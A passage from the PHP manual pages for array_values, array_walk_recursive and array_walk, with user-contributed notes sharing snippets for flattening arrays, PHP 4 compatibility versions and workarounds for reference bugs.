    print_r(array_flatten($tmp, 1));

/* ---
Array
(
    [home] => Array
        (
            [id] => 1
            [pid] => 0
            [link] => home
            [subcat] =>
        )

    [works] => Array
        (
            [id] => 2
            [pid] => 0
            [link] => works
        )

    [blog] => Array
        (
            [id] => 3
            [pid] => 0
            [link] => blog
            [subcat] =>
        )

    [viz] => Array
        (
            [id] => 4
            [pid] => 2
            [link] => viz
            [subcat] =>
        )

    [script] => Array
        (
            [id] => 5
            [pid] => 2
            [link] => script
        )

    [arch] => Array
        (
            [id] => 6
            [pid] => 5
            [link] => arch
            [subcat] =>
        )

)
--- */
?>
farum21 at hotmail dot com 03-Nov-2008 01:54
Spent a few hours today figuring out a more elegant way to flatten an array:

<?php

$aNonFlat = array(
    1,
    2,
    array(
        3,
        4,
        5,
        array(
            6,
            7
        ),
        8,
        9,
    ),
    10,
    11
);

$objTmp = (object) array('aFlat' => array());

array_walk_recursive($aNonFlat, create_function('&$v, $k, &$t', '$t->aFlat[] = $v;'), $objTmp);

var_dump($objTmp->aFlat);

/*
array(11) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
  [3]=>
  int(4)
  [4]=>
  int(5)
  [5]=>
  int(6)
  [6]=>
  int(7)
  [7]=>
  int(8)
  [8]=>
  int(9)
  [9]=>
  int(10)
  [10]=>
  int(11)
}
*/

?>
Anonymous 07-Oct-2008 06:44
<?php
$array=array( 'value1'=>'value',
            'array1'=> array( 'subItem1'=>'subItem1',
                         'subItem2'=>'subItem2' ),
            'array2'=> array( 'subItem1'=>'subItem1' ));

$newArray=array();
array_flatten($array,$newArray);
print_r( $newArray );

//Output
//Array
//(
//    [value1] => value
//    [array1|subItem1] => subItem1
//    [array1|subItem2] => subItem2
//    [array2|subItem1] => subItem1
//)

// recursively reduces deep arrays to single-dimensional arrays
function array_flatten($array, &$newArray = Array() ,$prefix='',$delimiter='|') {
  foreach ($array as $key => $child) {
    if (is_array($child)) {
      $newPrefix = $prefix.$key.$delimiter;
      $newArray =& array_flatten($child, $newArray ,$newPrefix, $delimiter);
    } else {
      $newArray[$prefix.$key] = $child;
    }
  }
  return $newArray;
}
?>
chrysb at gmail dot com 24-Sep-2008 12:34
If you are looking for a way to count the total number of times a specific value appears in array, use this function:

<?php
function array_value_count ($match, $array)
{
    $count = 0;

    foreach ($array as $key => $value)
    {
        if ($value == $match)
        {
            $count++;
        }
    }

    return $count;
}
?>

This should really be a native function of PHP.
madhamster 12-Jun-2008 04:18
Good function, if you want to acces associative array element by position:

<?php

$array = array('fruit'=>'apple', 'juice'=>'orange', 'color'=>'lime');

$array = array_values($array);

echo $array[2];

?>
rene dot zak at post dot cz 24-Apr-2008 01:05
<?php
$array = array(
    'fruit1' => 'apple',
    'fruit2' => 'orange',
    'fruit3' => ' ',
    'fruit4' => ' ',
    'fruit5' => 'apple');

    for ($i = 0; $i <  count($array); $i++) {
    $key=key($array);
    $val=$array[$key];
    if ($val<> ' ') {
       echo $key ." = ".  $val ." <br> ";
       }
     next($array);
    }

/*
fruit1 = apple
fruit2 = orange
fruit5 = apple
*/
?>
EA 01-Feb-2008 03:36
<?php
/*
  array array_use_keys ( array $array_data , array $array_keys)
*/
function array_use_keys(&$array_data, &$array_keys)
// pre: $array_data != array(NULL)
// post: read only rows from $array_data having values from $array_keys for keys
//       effective result: array{$array_data[$array_key[0]] .. $array_data[$array_key[n]]}
   {
      $resultarray = array();

      foreach($array_keys as $key) // $key is the value of a element in $array_keys which is going to be used as a key
         array_push($resultarray, $array_data[$key]); // note: array_push indexes with integers

      return($resultarray);
   }
?>

I only found the array_keys, yet it uses string, so I figured since I couldn't find a solution to make one of my own.
Hopefully this could make it into the next PHP in a improved array_keys;

PS
  There are no sane errorchecks, so beware.
bluej100 at gmail dot com 07-Sep-2007 10:10
Most of the array_flatten functions don't allow preservation of keys. Mine allows preserve, don't preserve, and preserve only strings (default).

<?
// recursively reduces deep arrays to single-dimensional arrays
// $preserve_keys: (0=>never, 1=>strings, 2=>always)
function array_flatten($array, $preserve_keys = 1, &$newArray = Array()) {
  foreach ($array as $key => $child) {
    if (is_array($child)) {
      $newArray =& array_flatten($child, $preserve_keys, $newArray);
    } elseif ($preserve_keys + is_string($key) > 1) {
      $newArray[$key] = $child;
    } else {
      $newArray[] = $child;
    }
  }
  return $newArray;
}

// Tests

$array = Array(
  'A' => Array(
    1 => 'foo',
    2 => Array(
      'a' => 'bar'
    )
  ),
  'B' => 'baz'
);

echo 'var_dump($array);'."\n";
var_dump($array);
echo 'var_dump(array_flatten($array, 0));'."\n";
var_dump(array_flatten($array, 0));
echo 'var_dump(array_flatten($array, 1));'."\n";
var_dump(array_flatten($array, 1));
echo 'var_dump(array_flatten($array, 2));'."\n";
var_dump(array_flatten($array, 2));
?>
deceze at gmail dot YesThatsGoogleMail dot com 03-Sep-2007 12:31
Please note that 'wellandpower at hotmail.com's recursive merge doesn't work. Here's the fixed version:

<?php

function array_values_recursive($array) {
   $flat = array();

   foreach ($array as $value) {
           if (is_array($value)) $flat = array_merge($flat, array_values_recursive($value));
           else $flat[] = $value;
   }
   return $flat;
}

?>
warmo_at_o2_dot_pl 21-Mar-2007 10:42
@Yassin Ezbakhe <yassin88 at gmail dot com>
When we have to flatten multidimensional array of strings or numbers this method could be much faster.
Inconvenience of this method is, that its speed depends on size of strings/numbers, which array contains - bigger strings, lower efficiency.
Conclusion: Use this method for small amount of data in arrays (less than 500B per element in my case) which have many dimensions, in other case, use Yassin Ezbakhe method.

<?php

function md_implode($array, $glue = '')
{
    if (is_array ($array))
    {
        $output = '';
        foreach ($array as $v)
        {
            $output .= md_implode($v, $glue);
        }
        return $output;
    }
    else
    {
        return $array.$glue;
    }
}

function md_array_flatten($md_array)
{
    $flat_array = explode ('#|#',md_implode($md_array,'#|#')); // "#|#" is a sample delimiter
    array_pop($flat_array); // to remove last empty element
    return $flat_array;
}

//Usage:
$flat_array = md_array_flatten($some_md_array)

?>
ahigerd at stratitec dot com 24-Jan-2007 06:07
A comment on array_merge mentioned that array_splice is faster than array_merge for inserting values. This may be the case, but if your goal is instead to reindex a numeric array, array_values() is the function of choice. Performing the following functions in a 100,000-iteration loop gave me the following times: ($b is a 3-element array)

array_splice($b, count($b)) => 0.410652
$b = array_splice($b, 0) => 0.272513
array_splice($b, 3) => 0.26529
$b = array_merge($b) => 0.233582
$b = array_values($b) => 0.151298
wellandpower at hotmail.com 29-Aug-2006 05:56
The function here flatterns an entire array and was not the behaviour I expected from a function of this name.

I expected the function to flattern every sub array so that all the values were aligned and it would return an array with the same dimensions as the imput array, but as per array_values() adjusting the keys rater than removing them.

In order to do this, you will want this function:

function array_values_recursive($array) {
   $temp = array();

   foreach ($array as $value) {
           if(is_array($value)) { $temp[] = array_values_recursive($value); }
           else { $temp[] = $value; }
   }
   return $temp;
}

Hopefully this will assist.
wizglins at gmx dot ch 13-Apr-2006 12:21
In case you want to replace all keys in multiarrays by integers starting at 0, the following function might help.

<?php

function numerieren($array)
{
$array_v = array_values($array);
$count_v = count($array_v);

for ($i=0; $i<$count_v; $i++)
  if (is_array($array_v[$i]))
    $array_v[$i] = numerieren($array_v[$i]);
return $array_v;
}

?>
Yassin Ezbakhe <yassin88 at gmail dot com> 31-Aug-2005 04:28
<?php
/**********************************************
 *
 *   PURPOSE: Flatten a deep multidimensional array into a list of its
 *   scalar values
 *
 *   array array_values_recursive (array array)
 *
 *   WARNING: Array keys will be lost
 *
 *********************************************/

function array_values_recursive($array)
{
    $arrayValues = array();

    foreach ($array as $value)
    {
        if (is_scalar($value) OR is_resource($value))
        {
             $arrayValues[] = $value;
        }
        elseif (is_array($value))
        {
             $arrayValues = array_merge($arrayValues, array_values_recursive($value));
        }
    }

    return $arrayValues;
}
?>

This function is an improved and faster version of the one posted by <27-Apr-2004 09:47>
kars at kde dot nl 24-May-2005 03:08
Also, objects in the array that were added by reference are handled correctly as well:

class Foo {
        var $n;

        function Foo ($n) {
                $this->n = $n;
        }
}

$a = new Foo(1);
$b = new Foo(2);
$c = new Foo(3);
$l = array(&$a, &$b, &$c); // add by reference
$m = array_values($l);

$a->n = 5;

echo $m[0]->n;

This prints "5" as you would expect.
27-Apr-2004 06:47
<?php
/**
   flatten an arbitrarily deep multidimensional array
   into a list of its scalar values
   (may be inefficient for large structures)
   (will infinite recurse on self-referential structures)
   (could be extended to handle objects)
*/
function array_values_recursive($ary)
{
   $lst = array();
   foreach( array_keys($ary) as $k ){
      $v = $ary[$k];
      if (is_scalar($v)) {
         $lst[] = $v;
      } elseif (is_array($v)) {
         $lst = array_merge( $lst,
            array_values_recursive($v)
         );
      }
   }
   return $lst;
}
?>

code till dawn!  -mark meves!
cyberphant0m AT earthlink DOT net 27-Feb-2004 09:24
That may be true, however I doubt that anyone should have that big of an array. If they do then they probably are doing some intense computing in which case, they may want to opt for the power of C++.
nopy at users dot sourceforge dot net 24-Oct-2003 03:36
Just a warning that re-indexing an array by array_values() may cause you to reach the memory limit unexpectly.

For example, if your PHP momory_limits is 8MB,
 and says there's a BIG array $bigArray which allocate 5MB of memory.

Doing this will cause PHP exceeds the momory limits:

<?php
  $bigArray = array_values( $bigArray );
?>

It's because array_values() does not re-index $bigArray directly,
it just re-index it into another array, and assign to itself later.
03-Nov-2002 07:48
also useful to use for list(), if the array for input is the result of a function that only returns associative arrays:

list($var1, $var2, $var3) = array_values(myfunc("only returns assoc arrays"));
mailseppel at gmx dot de 04-Oct-2002 04:10
Remember, that the following way of fetching data from a mySql-Table will do exactly the thing as carl described before: An array, which data may be accessed both by numerical and DB-ID-based Indexes:

<?php
$row = mysql_fetch_array($db_result, $db_link);
?>

Hope I haven't misunderstood anything here.. :)
carl at thep.lu.se 29-Jan-2002 03:59
Indeed you can, and that's what's so great about it. I have, for instance, a function that returns the results of a database query as an array. I want to keep the order that the entries were returned in, but at the same time I want to be able to access them _either_ by the position _or_ by some other index (such as some sort of ID in the database, gotten from elsewhere). In this case, I can make the function return an array from id to [array of values], and by a simple call to array_values() this is transformed into an array indexed from 0 to count()-1. Useful.
richard at phpguru dot org 19-Dec-2001 12:56
If you have a numerically indexed array with some keys missing, ie 1, 2, 4, 5 and you want to reindex it so it's 1,2,3,4 *without changing the positions of the values* (ie sort()) then you can use this function to do it.
array_unshift
array_walk_recursive
Array Functions


Apply a user function recursively to every member of an array

array_values
array_walk
Array Functions
PHP Manual

array_walk_recursive

(PHP 5)

array_walk_recursive — Apply a user function recursively to every member of an array

Description

bool array_walk_recursive ( array &$input , callback $funcname [, mixed $userdata ] )

Applies the user-defined function funcname to each element of the input array. This function will recurse into deeper arrays.

Parameters

input

The input array.

funcname

Typically, funcname takes on two parameters. The input parameter's value being the first, and the key/index second.

Note:

If funcname needs to be working with the actual values of the array, specify the first parameter of funcname as a reference. Then, any changes made to those elements will be made in the original array itself.

userdata

If the optional userdata parameter is supplied, it will be passed as the third parameter to the callback funcname.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 array_walk_recursive() example

<?php
$sweet = array('a' => 'apple', 'b' => 'banana');
$fruits = array('sweet' => $sweet, 'sour' => 'lemon');

function test_print($item, $key)
{
    echo "$key holds $item\n";
}

array_walk_recursive($fruits, 'test_print');
?>

The above example will output:

a holds apple
b holds banana
sour holds lemon

You may notice that the key 'sweet' is never displayed. Any key that holds an array will not be passed to the function.

See Also

  • array_walk() - Apply a user function to every member of an array
  • information about the callback type

User Contributed Notes

cyranix at cyranix dot com 28-Oct-2011 07:45
I needed to add or modify values in an array with unknown structure. I was hoping to use array_walk_recursive for the task, but because I was also adding new nodes I came up with an alternate solution.

<?php

    /**
     * Sets key/value pairs at any depth on an array.
     * @param $data an array of key/value pairs to be added/modified
     * @param $array the array to operate on
     */
    function setNodes($data, &$array)
    {
        $separator = '.'; // set this to any string that won't occur in your keys
        foreach ($data as $name => $value) {
            if (strpos($name, $separator) === false) {
                // If the array doesn't contain a special separator character, just set the key/value pair.
                // If $value is an array, you will of course set nested key/value pairs just fine.
                $array[$name] = $value;
            } else {
                // In this case we're trying to target a specific nested node without overwriting any other siblings/ancestors.
                // The node or its ancestors may not exist yet.
                $keys = explode($separator, $name);
                // Set the root of the tree.
                $opt_tree =& $array;
                // Start traversing the tree using the specified keys.
                while ($key = array_shift($keys)) {
                    // If there are more keys after the current one...
                    if ($keys) {
                        if (!isset($opt_tree[$key]) || !is_array($opt_tree[$key])) {
                            // Create this node if it doesn't already exist.
                            $opt_tree[$key] = array();
                        }
                        // Redefine the "root" of the tree to this node (assign by reference) then process the next key.
                        $opt_tree =& $opt_tree[$key];
                    } else {
                        // This is the last key to check, so assign the value.
                        $opt_tree[$key] = $value;
                    }
                }
            }
        }
    }

?>

Sample usage:

<?php

$x = array();
setNodes(array('foo' => 'bar', 'baz' => array('quux' => 42, 'hup' => 101)), $x);
print_r($x); // $x has the same structure as the first argument
setNodes(array('jif.snee' => 'hello world', 'baz.quux.wek' => 5), $x);
print_r($x); // added $x['jif']['snee'] and modified $x['baz']['quux'] to be array('wek' => 5)

?>
ghoffman at salientdigital dot com 13-Oct-2011 10:29
If you are wanting to change the values of an existing multi-dimensional array, as it says above in the note, you need to specify the first argument as a reference. All that means is, be sure to precede the $item variable with an ampersand (&) as in the good_example below.

Unfortunately the PHP example given doesn't do this. It actually took me a while to figure out why my function wasn't changing the original array, even though I was passing by reference.

Here's the tip: Don't return any value from the function! Just change the value of $item that you passed in by reference. This is rather counter-intuitive since the vast majority of functions return a value.

<?php
// array_walk_recursive fails to change your array unless you pass by reference.
// Don't return values from your filter function, even though it's quite logical at a glance!
function bad_example($item,$key){
   if($key=='test'){
       return 'PHP Rocks';  // Don't do it
   }else{
      return $item;  // Don't do this either
   }
}

// array_walk_recursive pass-by-reference example
function good_example(&$item,$key){
   if($key=='test'){
        $item='PHP Rocks'; // Do This!
   }
}

$arr = array('a'=>'1','b'=>'2','test'=>'Replace This');

array_walk_recursive($arr,'bad_example');
var_dump($arr);
/**
 * no errors, but prints...
 * array('a'=>'1','b'=>'2','test'=>'Replace This');
 */

array_walk_recursive($arr,'good_example');
var_dump($arr);
/**
 * prints...
 * array('a'=>'1','b'=>'2','test'=>'PHP Rocks');
 */

?>

Returning a value from your function does work if you pass by reference and modify $item before you return, but you will eat up memory very, very fast if you try it, even on an example as small as the one here.

One other silly thing you might try first is something like this:

<?php
// Resist the urge to do this, it doesn't work.
$filtered = array_walk_recursive($unfiltered,'filter_function');
?>

Of course, $filtered is just TRUE afterwards, not the filtered results you were wanting. Oh, it ran your function recursively alright, but changed all the values in the local function scope only and returns a boolean as the documentation states.
rob at yurkowski dot net 26-Oct-2010 11:16
If you don't really particularly care about the keys of an array, you can capture all values quite simply:

<?php

$sample = array('dog' => 'woof', 'cat' => array('angry' => 'hiss', 'happy' => 'purr'), 'aardvark' => 'kssksskss');
$output = array();

// Push all $val onto $output.
array_walk_recursive($sample, create_function('$val, $key, $obj', 'array_push($obj, $val);'), &output);

// Printing
echo nl2br(print_r($output, true));

/*
* Array
* (
*  [0] => woof
*  [1] => hiss
*  [2] => purr
*  [3] => kssksskss
* )
*/
?>

[EDIT BY danbrown AT php DOT net: In a note added by 'FaustoFilho' on 17-MAY-2011, the following information was appended to this note.

[If you intend to use this] "function to extract the last key value of an array, don't forget to insert a currency sign ($) signal before '$output' at 7th line.

This value must be a variable, and if you forgot to assign this signal, your code won't work, displaying an error like this:

Parse error: syntax error, unexpected ')', expecting T_PAAMAYIM_NEKUDOTAYIM in /path/to/script.php on line 7."]
bradbeattie at gmail dot com 27-Aug-2010 11:18
The description says "If funcname needs to be working with the actual values of the array, specify the first parameter of funcname as a reference." This isn't necessarily helpful as the function you're calling might be built in (e.g. trim or strip_tags). One option would be to create a version of these like so.

<?php
    function trim_by_reference(&$string) {
        $string = trim($string);
    }
?>

The downside to this approach is that you need to create a wrapper function for each function you might want to call. Instead, we can use PHP 5.3's inline function syntax to create a new version of array_walk_recursive.

<?php
    /**
     * This function acts exactly like array_walk_recursive, except that it pretends that the function
     * its calling replaces the value with its result.
     *
     * @param $array The first value of the array will be passed into $function as the primary argument
     * @param $function The function to be called on each element in the array, recursively
     * @param $parameters An optional array of the additional parameters to be appeneded to the function
     *
     * Example usage to alter $array to get the second, third and fourth character from each value
     *     array_walk_recursive_referential($array, "substr", array("1","3"));
     */
    function array_walk_recursive_referential(&$array, $function, $parameters = array()) {
        $reference_function = function(&$value, $key, $userdata) {
            $parameters = array_merge(array($value), $userdata[1]);
            $value = call_user_func_array($userdata[0], $parameters);
        };
        array_walk_recursive($array, $reference_function, array($function, $parameters));
    }
?>

The advantage here is that we only explicitly define one wrapper function instead of potentially dozens.
devel at starosta dot org 12-Oct-2008 05:41
Nice system to make DB tree using function array_walk_recursive:

<?php
function _CategoriesTree(&$item, $key)
{
global $objDB;

  if ($key=="childs")
  {
    $res = $objDB->getAssoc('SELECT category_id, name,category_parent_id, category_id AS childs  FROM categories WHERE category_parent_id = '.$item.' ORDER BY orderid');
    if(!empty($res))
    {
      // walk inside subcategories
      $item = $res;
    }
    else
    {
      // equvalent => no childs
      $item = -1;
    }
  }
}

$categories = $objDB->getAssoc('SELECT category_id, name,category_parent_id, category_id AS childs  FROM categories WHERE category_parent_id = 0 ORDER BY orderid');  // fetchPairs -> value is the index
array_walk_recursive($categories, 'treeFunc',$objDB);

// test
print_r($categories);
?>
martin dot velek at gmail dot com 28-Sep-2008 02:01
If you will know that a tree in DB is not huge you can use array_walk_recursive to create tree structure e.g. in array.

let's assume following table:
NAME        PARENT
a                  null
b                  null
c                  null
a1               a
a2               a
b1               b
b11             b1
b111           b11

<?php
require_once 'Zend/Db/Adapter/Pdo/Sqlite.php';

function treeFunc(&$item, $key, $dbConn)
{
    $res = $dbConn->fetchPairs('SELECT name FROM tree where parent = ?',$key);
    if(!empty($res))
         $item = $res;
}

$arr = $dbConn->fetchPairs('SELECT name FROM tree where parent is null');  // fetchPairs -> value is the index

$valid = true;
while($valid)
{
       $oldCount  = count($arr,COUNT_RECURSIVE);
       array_walk_recursive($arr, 'treeFunc',$dbConn);
       $newCount = count($arr,COUNT_RECURSIVE);
       if ($oldCount == $newCount)  // if there is no change, exit...
                   $valid = false;
}
print_r($arr);
?>

--------------------------------------------------
Array
(
    [a] => Array
        (
            [a1] =>
            [a2] =>
        )

    [b] => Array
        (
            [b1] => Array
                (
                    [b11] => Array
                        (
                            [b111] =>
                        )

                )

        )

    [c] =>
)
amoffat at amoffat dot com 04-Jun-2008 05:15
<?
function my_array_map() {
    $args = func_get_args();
    $arr = array_shift($args);

    foreach ($args as $fn) {
        $nfn = create_function('&$v, $k, $fn', '$v = $fn($v);');
        array_walk_recursive($arr, $nfn, $fn);
    }
    return $arr;
}
?>

takes an array as the first argument, and functions as the other arguments.  it applies those functions recursively to the array
JW 14-Mar-2008 05:59
This function has a serious bug, which is still not fixed as of the PHP 5.2.5 release. After you call it, it can accidentally modify your original array. Save yourself hours of frustration by reading on.

The bug is here: http://bugs.php.net/bug.php?id=42850, and it looks like it will be fixed for 5.3.

If the array that you walk contains other array elements, they will be turned into references. This will happen even if the callback function doesn't take its first argument by reference, and doesn't do anything to the values.

For example, try this:
<?php
$data = array ('key1' => 'val1', 'key2' => array('key3' => 'val3'));
function foo($item, $key){}
var_dump($data);
?>

The original array has no references. Now try this:
<?php
array_walk_recursive($data,'foo');
var_dump($data);
?>

Now key2 is a reference, not just an array. So if you do this:
<?php
function test($item){$item['key2'] = array();}
test($data);
var_dump($data);
?>

you will see that test modifies $data, even though it shouldn't.

One workaround is to immediately make a deep copy of the array after calling array_walk_recursive, like this:
<?php
function array_duplicate($input) {
  if (!is_array($input)) return $input;
  $output = array();
  foreach ($input as $key => $value) {
    $output[$key] = array_duplicate($value);
  }
  return $output;
}
array_walk_recursive($data,'foo');
$data = array_duplicate($data);
var_dump($data);
?>

After doing that, the references are gone.
wileur at gmail dot com 06-Mar-2007 05:59
A simple way to use callback functions that are defined in a class is to simply pass the class instance and function names as values in an array:
<?php
class testClass {
    function callbackFunction($value, $key) {
        echo "$key: $value<br />\n";
    }
    function printArray($foo) {
        array_walk_recursive($foo, array($this, 'callbackFunction'));
    }
}
?>
adam dott pub att adamswick dott com 09-Nov-2006 06:08
Thanks to all of you in the prior posts.

I don't like the fact that the current version of array_walk_recursive() doesn't track all array keys.  This version will do that, as well as tracking array depth on multi-dimensional arrays.

- - - - - - -

Class Array_walk_recursive3 {

    private $depth = -1;
    private $userdata, $funcname;
    public $status;
    public $input;

    public function __construct($input, $funcname, $userdata = "") {
        $this->input = $input;
        $this->funcname = $funcname;
        $this->userdata = $userdata;
        $this->status = $this->array_walk_recursive($this->input);
    }

    private function test_print(&$value, &$key)
    {
        echo str_repeat("  ", $this->depth)."$key holds ";
        if (!is_array($value)) {
            echo $value;

            if (trim($value) == "banana") {
                $value = "cherry";
                $key = "c";
            }
        }
        echo "\n";

    }

    private function array_walk_recursive(&$input) {
        $funcname = array(&$this, $this->funcname);
       if (!is_callable($funcname)) {

           return false;
       }

       if (!is_array($input)) {
           return false;
       }

        $this->depth++;

       foreach (array_keys($input) AS $keyIdx => $key) {
            $saved_value = $input[$key];
            $saved_key = $key;
            call_user_func_array($funcname, array(&$input[$saved_key], &$key));

            if ($input[$saved_key] !== $saved_value || $saved_key !== $key) {
                $saved_value = $input[$saved_key];

                unset($input[$saved_key]);
                $input[$key] = $saved_value;
            }
           if (is_array($input[$key])) {
                if (!$this->array_walk_recursive($input[$key], $funcname)) return false;
                $this->depth--;
           }
       }
       return true;
    }

}

$sweet = array('a' => 'apple', 'b' => 'banana');
$fruits = array('sweet' => $sweet, 'sour' => 'lemon');

$fruitObj = new Array_walk_recursive3($fruits, 'test_print');
echo $fruitObj->status;
$newFruitArr = $fruitObj->input;
print_r($fruits);
print_r($newFruitArr);
ik at paulkaspers dot nl 15-Oct-2006 01:46
To egingell at sisna dot com:

There is a small bug in your function, the following line should be changed:
From: if ($value != $saved_value || $saved_key != $key) {
Into: if ($value !== $saved_value || $saved_key !== $key) {

It's a nice function, because I was searching for something to change the keys of a multiple dimension array.
gieterke at gmail dot com 29-Mar-2006 04:59
I think there are a lot of people who want/have to work object oriented.
this is an Object oriented version

the code is written in PHP5
<?php
    //auto overload classes, so you don't have to put in all the includes
    function __autoload($class_name) {
        require_once $class_name . '.php';
    }

    echo "TESTING: arraywalker<br>";
    $anObject = new ClassName();

    //array_walk_recursive($anObject->getFruits(), 'test_print'); => doesn't work
    array_walk_recursive($anObject->getFruits(), array(&$anObject, 'test_print'));

    echo"<br><br>";
        //if you just want to give the array and not hte function name that handles the array
    $anObject->arrWalker($anObject->getFruits());
?>

<?php
//Class description---------------------------------------------
class ClassName {
    //Class variables
    private $sweet = array();
    private $fruits = array();

    //Constructor
    public function __construct(){
        $this->sweet = array('a' => 'apple', 'b' => 'banana');
        $this->fruits = array('sweet' => $this->sweet, 'sour' => 'lemon');
    }

    //public methods
    public function getFruits(){
        return $this->fruits;
    }

    public function test_print($item, $key){
        echo "$key holds $item\n<br>";
    }

    public function arrWalker($arr){
        array_walk_recursive($arr, array(&$this, 'test_print'));

    }
}
?>

the code above gives following input:
TESTING: arraywalker
a holds apple
b holds banana
sour holds lemon

a holds apple
b holds banana
sour holds lemon
egingell at sisna dot com 18-Mar-2006 01:53
Slightly modified version of array_walk_recursive function by "omega13a at sbcglobal dot net"

$function also modifies the keys in addition to the values.

Usefull if you want to trim() the keys and values of an array.

The $key in $funcname would also have to be passed by referrence.

Named 'array_walk_recursive2' since it is not the same as the PHP5 version, you can rename it to 'array_walk_recursive' if you are running PHP4 and have no reason to upgrade.

<?
function funcname(&$value, &$key, $userdata = "") {
    // Do stuff to $value and $key
}

function array_walk_recursive2(&$input, $funcname, $userdata = "") {
    if (!is_callable($funcname)) {
        return false;
    }

    if (!is_array($input)) {
        return false;
    }

    foreach ($input AS $key => $value) {
        if (is_array($input[$key])) {
            array_walk_recursive2($input[$key], $funcname, $userdata);
        } else {
            $saved_value = $value;
            $saved_key = $key;
            if (!empty($userdata)) {
                $funcname($value, $key, $userdata);
            } else {
                $funcname($value, $key);
            }

            if ($value != $saved_value || $saved_key != $key) {
                unset($input[$saved_key]);
                $input[$key] = $value;
            }
        }
    }
    return true;
}
?>
gabrielu at hotmail dot com 21-Feb-2006 01:13
I decided to add to the previous PHP 4 compatible version of array_walk_recursive() so that it would work within a class and as a standalone function.  Both instances are handled by the following function which I modified from omega13a at sbcglobal dot net.

The following example is for usage within a class.  To use as a standalone function take it out of the class and rename it.  (Example: array_walk_recursive_2)

<?php
class A_Class {

function array_walk_recursive(&$input, $funcname, $userdata = '') {
  if(!function_exists('array_walk_recursive')) {
    if(!is_callable($funcname))
      return false;

    if(!is_array($input))
      return false;

    foreach($input as $key=>$value) {
      if(is_array($input[$key])) {
        if(isset($this)) {
          eval('$this->' . __FUNCTION__ . '($input[$key], $funcname, $userdata);');
        } else {
          if(@get_class($this))
            eval(get_class() . '::' . __FUNCTION__ . '($input[$key], $funcname, $userdata);');
          else
            eval(__FUNCTION__ . '($input[$key], $funcname, $userdata);');
        }
      } else {
        $saved_value = $value;

        if(is_array($funcname)) {
          $f = '';
          for($a=0; $a<count($funcname); $a++)
            if(is_object($funcname[$a])) {
              $f .= get_class($funcname[$a]);
            } else {
              if($a > 0)
                $f .= '::';
              $f .= $funcname[$a];
            }
          $f .= '($value, $key' . (!empty($userdata) ? ', $userdata' : '') . ');';
          eval($f);
        } else {
          if(!empty($userdata))
            $funcname($value, $key, $userdata);
          else
            $funcname($value, $key);
        }

        if($value != $saved_value)
          $input[$key] = $value;
      }
    }
    return true;
  } else {
    array_walk_recursive($input, $funcname, $userdata);
  }
}

function kv_addslashes(&$v, $k) {
  $v = addslashes($v);
}
}
?>

Usage:
<?php
$arr = array(
  'a' => '"Hello World"',
  'b' => "'Hello World'",
  'c' => "Hello 'Worl\"d",
  'd' => array(
    'A' => 'H"e"l"l"o" "W"o"r"l"d'
    )
  );

$class = new A_Class();
$class->array_walk_recursive($arr, array(&$class, 'kv_addslashes'));
print_r($arr);
?>
omega13a at sbcglobal dot net 21-Dec-2005 04:21
This is a peice of code I wrote that appears to create this function for PHP 4.

<?php
if (!function_exists('array_walk_recursive'))
{
    function array_walk_recursive(&$input, $funcname, $userdata = "")
    {
        if (!is_callable($funcname))
        {
            return false;
        }

        if (!is_array($input))
        {
            return false;
        }

        foreach ($input AS $key => $value)
        {
            if (is_array($input[$key]))
            {
                array_walk_recursive($input[$key], $funcname, $userdata);
            }
            else
            {
                $saved_value = $value;
                if (!empty($userdata))
                {
                    $funcname($value, $key, $userdata);
                }
                else
                {
                    $funcname($value, $key);
                }

                if ($value != $saved_value)
                {
                    $input[$key] = $value;
                }
            }
        }
        return true;
    }
}
?>

Please note it is a conditionaly set function and will have to be put before any call to it.

If there is anything wrong with it, please email me.
cory at lavacube dot com 06-Dec-2005 02:09
A simple way to implement array_walk_recursive() in PHP 4 is to use to do the following...

<?php

// first, lets define our function
    function test_array_walkr( &$item, $key )
    {
        // do what you want to do here - in this example we will
        // check to see if $item is an array. If it is, we will
        // check to see if the key '.hide' exists. If this exists,
        // we will set the entire array to NULL;
        if( is_array($item) && array_key_exists('.hide', $item) )
        {
            $item = NULL;
        }

        // this is the code that causes the recursive effect
        // we do this after, to allow for any changes to $item
        // to be included in the next recursive call...
        if( is_array($item) )
        {
            array_walk($item, __FUNCTION__);
        }
    }

// next, let's define our array:
$test = array(
                'one'    => array('one->one', 'one->two', 'one->three'),
                'two'    => array('.hide'=>true, 'two->one', 'two->two', 'two->three'),
                'three'    => array('three->one', 'three->two', 'three->three')
            );

// lets run the test. ;-)
    array_walk($test, 'test_array_walkr');

// ... and get the results
    print_r($test);

?>

This example will yeild:
Array
(
    [one] => Array
        (
            [0] => one->one
            [1] => one->two
            [2] => one->three
        )
    [two] =>
    [three] => Array
        (
            [0] => three->one
            [1] => three->two
            [2] => three->three
        )
)

Hope this helps someone. :-)
aidan at php dot net 21-Feb-2005 11:10
This functionality is now implemented in the PEAR package PHP_Compat.

More information about using this function without upgrading your version of PHP can be found on the below link:

http://pear.php.net/package/PHP_Compat
hannes (at) tismer.com 14-Dec-2004 11:08
I wondered about an array_mergedown function working with PHP4, using an array_walk_recursive-like function which just merges any number of arrays of any dimension to a one dimension array containing every key=>value part of all arrays:

<?php
function array_mergedown() {
    global $outarray;
    $outarray = array();
    function array_walk_recphp4(&$val,$key) {
        global $outarray;
        if (is_array($val)) array_walk($val,'array_walk_recphp4');
        else {
            $outarray[$key] = $val;
        }
    }
    $params = func_get_args();
    foreach ($params as $subarr) {
        array_walk_recphp4($subarr, '');
    }
    return $outarray;
}
?>

For testing:

<?php
$arr1[]["foo1"] = "bar1";
$arr2["foo2"] = "bar2";
$arr2[12] = "bar3";
$arr2[10]["foo4"] = "bar4";
$arr2[]["foo4"][0]["foo5"] = "bar5";
$arr3 = "nono";

print_r(array_mergedown($arr1, $arr2, $arr3));
?>

returns:
Array ( [foo1] => bar1 [foo2] => bar2 [12] => bar3 [foo4] => bar4 [foo5] => bar5 )

I hope this helped someone :)
array_values
array_walk
Array Functions


Apply a user function to every member of an array

array_walk_recursive
array
Array Functions
PHP Manual

array_walk

(PHP 4, PHP 5)

array_walk — Apply a user function to every member of an array

Description

bool array_walk ( array &$array , callback $funcname [, mixed $userdata ] )

Applies the user-defined function funcname to each element of the array array.

array_walk() is not affected by the internal array pointer of array. array_walk() will walk through the entire array regardless of pointer position.

Parameters

array

The input array.

funcname

Typically, funcname takes on two parameters. The array parameter's value being the first, and the key/index second.

Note:

If funcname needs to be working with the actual values of the array, specify the first parameter of funcname as a reference. Then, any changes made to those elements will be made in the original array itself.

Note:

